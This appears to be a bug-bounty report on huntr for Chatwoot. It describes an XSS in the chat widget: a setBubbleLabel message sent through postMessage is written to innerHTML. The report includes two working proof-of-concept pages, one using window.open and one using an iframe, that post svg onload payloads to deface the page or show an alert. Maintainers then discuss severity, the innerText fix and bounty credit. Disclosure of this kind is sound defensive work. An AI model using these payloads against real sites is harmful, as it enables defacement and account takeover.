XSS via postMessage to deface any website and account takeover in chatwoot/chatwoot
Reported on
Feb 2nd 2023
Description
Hey Chatwoot team, while looking for vulnerabilities I found a critical XSS which allow us to XSS/Deface any website which uses the chat, this can be automated to attack thousands of websites
Vulnerable Code
Inside this function https://github.com/chatwoot/chatwoot/blob/30fcb47477481772c9a447f7406af3a72be26ed1/app/javascript/sdk/bubbleHelpers.js#L16
We have this code:
export const setBubbleText = bubbleText => {
if (isExpandedView(window.$chatwoot.type)) {
const textNode = document.getElementById('woot-widget--expanded__text');
textNode.innerHTML = bubbleText;
}
};
The code uses dangerous JS function innerHTML with bubbleText value the problem is we control value of this variable inside the postMessage function.
Proof of Concept
<body onclick=x()><h1>Click here
<script>
var w;
function x(){
w=window.open('https://www.chatwoot.com/','w');
setTimeout(()=>{
w.postMessage(`chatwoot-widget:{"event":"setBubbleLabel","label":"<svg><svg/onload='document.body.innerHTML="<br><br><h1 style=color:red;font-size:99px>pwned"'>"}`,'*')
}
,5000)
}
</script>
Online POC
Thanks Renwa
Impact
This bug can be used to takeover accounts of websites which uses Chatboot and deface any page on their site which leads to huge lose and reputation, No user interaction is required and the attack is simple just by visiting a webpage the attacker can launch the attack and target mass victims.
Occurrences
bubbleHelpers.js L19
Change innerHTML to innerText to fix this vulnerability
Here is another POC which doesn't require any user interaction which makes the attack more critical: https://pwr.wtf/chatw2.html
<body><h1>Please wait
<iframe name=win src=https://www.chatwoot.com/></iframe>
<script>
setTimeout(()=>{
win.postMessage(`chatwoot-widget:{"event":"setBubbleLabel","label":"<svg><svg/onload='alert("XSS on: "+document.domain)'>"}`,'*')
}
,5000)
</script>
Sorry but why the severity is Medium, this should be high as I have provided a POC which doesn't require user interaction.
Also these are all XSS bugs like mine which has high severity reported to chatwoot:
https://huntr.dev/bounties/1-other-chatwoot/ https://huntr.dev/bounties/e6469ba6-03a2-4b17-8b4e-8932ecd0f7ac/ https://huntr.dev/bounties/1625474692857-chatwoot/chatwoot/ https://huntr.dev/bounties/d8f5ce74-2a00-4813-b220-70af771b0edd/
@Renwa Thanks again for the report. We have started using the CVSS calculator for the reports since we will be publishing CVE for these reports. In these cases, user interaction is required since the user must click on the malicious link.
reference: https://www.first.org/cvss/examples (example 25)
Let me know if you have questions about any of the other values.
note: A fix has been merged to develop via : https://github.com/chatwoot/chatwoot/commit/a06a5a574ad908b0ef2db7b47d05c3774eeb493d
This change will be available in the upcoming release. 2.14.0
The fix looks alright, It's the same I suggested to do I think I can get the fix bounty too.
Thanks
@Renwa, we will make sure to attribute it under your name when we mark it as fixed along with the release. Thanks for verifying.
@renwa, you will need to attach a fix to the issue for us to issue the fix bounty. otherwise huntr is not showing me the option to attribute it to your name
Hey Sojan, How I can do that, my Github username is RenwaX23 Should we contact huntr to see how its done?
@Renwa, Please give that a try. The maintainer interface is different than the researcher one i think
Please click the "Mark as fixed" button at the bottom of the page, you can credit the fixer during this process and choose to assign a CVE.
@Ben Harvie the Mark as fixed option only lets me choose nobody or me(sojan-official) . is it because the the fixer is populated from the github commit ?
@Sojan, yes that's correct, only the committer can be assigned the fix credibility.
Great work @renwax23 👌 Could you kindly propose/submit a fix for this vulnerability? Any help is appreciated.
note: trying this flow flow out
I think I submitted the patch maybe this time it shows me inside the patch bounty selection